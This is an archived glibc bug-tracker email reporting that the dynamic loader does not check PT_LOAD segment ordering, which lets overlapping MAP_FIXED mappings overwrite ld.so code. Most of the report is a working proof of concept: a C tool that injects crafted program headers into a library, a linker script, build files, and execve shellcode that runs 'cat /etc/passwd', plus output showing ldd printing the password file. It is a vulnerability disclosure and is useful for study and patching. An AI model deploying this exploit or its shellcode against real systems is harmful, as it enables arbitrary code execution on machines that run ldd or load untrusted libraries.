This is the mail archive of the glibc-bugs@sourceware.org mailing list for the glibc project.
Index Nav: | [Date Index] [Subject Index] [Author Index] [Thread Index] | |
---|---|---|
Message Nav: | [Date Prev] [Date Next] | [Thread Prev] [Thread Next] |
Other format: | [Raw text] |
https://sourceware.org/bugzilla/show_bug.cgi?id=22851 Bug ID: 22851 Summary: ld library ELF load error Product: glibc Version: unspecified Status: UNCONFIRMED Severity: normal Priority: P2 Component: dynamic-link Assignee: unassigned at sourceware dot org Reporter: blackzert at gmail dot com Target Milestone: --- ld-linux.so is known library and works as ELF file interpreter. It can load libraries into process with 'dlopen' function or while loading ELF file creating new process. >From here http://www.skyfree.org/linux/references/ELF_Format.pdf we can get some info about PT_LOAD: PT_LOAD The array element specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the ‘‘extra’’ bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size may not be larger than the memory size. Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member. What we need here is following constraint: Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member. Unfortunetly in current implementation of GNU Libc there is no any check for this constraint. GNU Libc use MAP_FIXED while loading PT_LOAD segments and man about mmap says: MAP_FIXED Don't interpret addr as a hint: place the mapping at exactly that address. addr must be a multiple of the page size. If the memory region specified by addr and len overlaps pages of any existing mapping(s), then the overlapped part of the existing mapping(s) will be discarded. If the specified address cannot be used, mmap() will fail. Because requiring a fixed address for a mapping is less portable, the use of this option is discouraged. here is important to know that usage of MAP_FIXED may change current process mapping. If attacker can ask ld library to load special crafted ELF file it can get code execution. In this case he even dont need to create special constructor inside this library or call any function from it - he can re-mmap ld library code with his own and successfully execute it after execution of mmap syscall. As Proof of Concept to this vulnerability I prepared exploit for ldd utility - utility that know to not execute any third-party code and just showing needed libraries and memory layout of them. The same error present in the linux kernel code, I've already prepared patch for it and will publish it soon. normal usage: blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main linux-vdso.so.1 => (0x00007ffca0bf6000) libevil.so => ./libevil.so (0x00007f5ade66d000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ade2a3000) /lib64/ld-linux-x86-64.so.2 (0x00007f5ade86f000) specail crafted libevil.so just runs ‘cat /etc/passwd' blackzert@crasher:~/aslur/tests/evil_elf$ ldd main root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin PoC code: #include <elf.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> off_t get_len(int fd) { off_t length = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); return length; } int get_file(char *evilname) { int fd = open(evilname, O_RDWR); if (fd < 0) { printf("Failed to open\n"); return -1; } return fd; } int align(int fd, size_t len, size_t value) { char buffer[4096] = {0}; size_t rest = value - (len & (value - 1)); while ( rest > 4096) { write(fd, buffer, 4096); rest -= 4096; } write(fd, buffer, rest); return 0; } int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char* overlay, unsigned long overlay_len) { Elf64_Ehdr header = {0}; int size = read(fd, &header, sizeof(header)); if (size < sizeof(header)) { printf("read failed\n"); return -1; } if (header.e_ident[EI_CLASS] != ELFCLASS64) { printf("Not elf64\n"); return -1; } if (header.e_phentsize != sizeof(Elf64_Phdr)) { printf("unknown phdr struct\n"); return -1; } unsigned long ph_size = header.e_phnum * header.e_phentsize; header.e_phnum += new_count; off_t off = lseek(fd, 0, SEEK_SET); if (off == (off_t)-1) { printf("bad ph_off\n"); return -1; } size = write(fd, &header, sizeof(header)); if (size != sizeof(header)) { printf("failed to write header\n"); return -1; } off = lseek(fd, ph_size + header.e_phoff, SEEK_SET); if (off == (off_t)-1) { printf("bad ph_off\n"); return -1; } size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr)); if (size != new_count*sizeof(Elf64_Phdr)) { printf("write failed, file corrupted. sorry\n"); return -1; } off = lseek(fd, 0, SEEK_SET); if (off == (off_t)-1) { printf("failed go to start"); return -1; } off = lseek(fd, 0, SEEK_END); if (off == (off_t)-1) { printf("failed to seek to end\n"); return -1; } align(fd, off, new_heades[0].p_align); return 0; } char shellcode[4096]; unsigned long libc_size = 0x26000; int main() { int scfd = get_file("shellcode.bin"); off_t sc_len = get_len(scfd); read(scfd, shellcode, sc_len); int fd = get_file("libevil.so"); if (fd < 0) printf("failed open\n"); off_t off = get_len(fd); if (off == (off_t)-1) { printf("failed get len\n"); close(fd); return -1; } Elf64_Phdr new_headers[2]; new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite ld r-x segment new_headers[0].p_flags = PF_X|PF_R|PF_W; new_headers[0].p_offset = off + (4096 - (4095&off)); new_headers[0].p_vaddr = 0x400000; new_headers[0].p_paddr = 0; new_headers[0].p_filesz = libc_size; new_headers[0].p_memsz = 0x200000; new_headers[0].p_align = 4096; if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset) & (new_headers[0].p_align - 1)) != 0 ) { printf("ELF load command address/offset not properly aligned\n"); return -1; } new_headers[1].p_type = PT_LOAD; new_headers[1].p_flags = PF_X|PF_R|PF_W; new_headers[1].p_offset = 0; new_headers[1].p_vaddr = 0x200000; new_headers[1].p_paddr = 0; new_headers[1].p_filesz = 0; new_headers[1].p_memsz = 0x200000; new_headers[1].p_align = 0x200000; int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len); char buffer[4096]; memset(buffer, 0x90, 4096); unsigned long size = libc_size; while(size > 4096) { write(fd, buffer, 4096); size -= 4096; } memcpy(buffer + 4095 - sc_len, shellcode, sc_len); write(fd, buffer, 4096); close(fd); return res; } This code adds to ‘libevil.so’ 2 new segments - one with shellcode that overwrites r-x segment of ld and second to be last one. To make everything happens, special linker script is needed: OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") OUTPUT_ARCH(i386:x86-64) ENTRY(_start) SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib"); SECTIONS { . = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS; .text : { *(.text) } .rela.plt : { *(.rela.plt) } .dynamic : { *(.dynamic) } .got : { *(.got) } .got.plt : { *(.got.plt) *(.igot.plt) } .data : { *(.data) } /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) } } this one just adds extra space to allow us extend program header of libevil.so main.c: #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> extern int evil(); char buffer[16536]; int main() { evil(); int fd = open("/proc/self/maps", 0); int size = read(fd, buffer, sizeof(buffer)); if (size > 0) write(0, buffer, size); return 0; } evil.c: #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int evil() { printf("Hello world!\n"); return 0; } and Makefile all: gcc -fPIC -shared evil.c -o libevil.so gcc main.c -levil -L. -o main -Wl,-rpath,./ gcc make_evil.c -o make_evil -g evil: all nasm -fbin shellcode.asm -o shellcode.bin gcc -fPIC -shared evil.c -T evil.script -o libevil.so ./make_evil clean: rm main libevil.so gdb: gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so list: /lib64/ld-linux-x86-64.so.2 --list ./libevil.so shellcode.asm: bits 64 push 59 pop rax ; rax=sys_execve cdq ; penv=0 mov rcx, '/bin//sh' push rdx ; 0 push rcx ; "/bin//sh" push rsp pop rdi ; rdi="/bin//sh", 0 ; --------- push rdx ; 0 push word '-c' push rsp pop rbx ; rbx="-c", 0 push rdx ; NULL jmp l_cmd64 r_cmd64: ; command push rbx ; "-c" push rdi ; "/bin//sh" push rsp pop rsi ; rsi=args syscall l_cmd64: call r_cmd64 db 'cat /etc/passwd', 0 -- You are receiving this mail because: You are on the CC list for the bug.
Index Nav: | [Date Index] [Subject Index] [Author Index] [Thread Index] | |
---|---|---|
Message Nav: | [Date Prev] [Date Next] | [Thread Prev] [Thread Next] |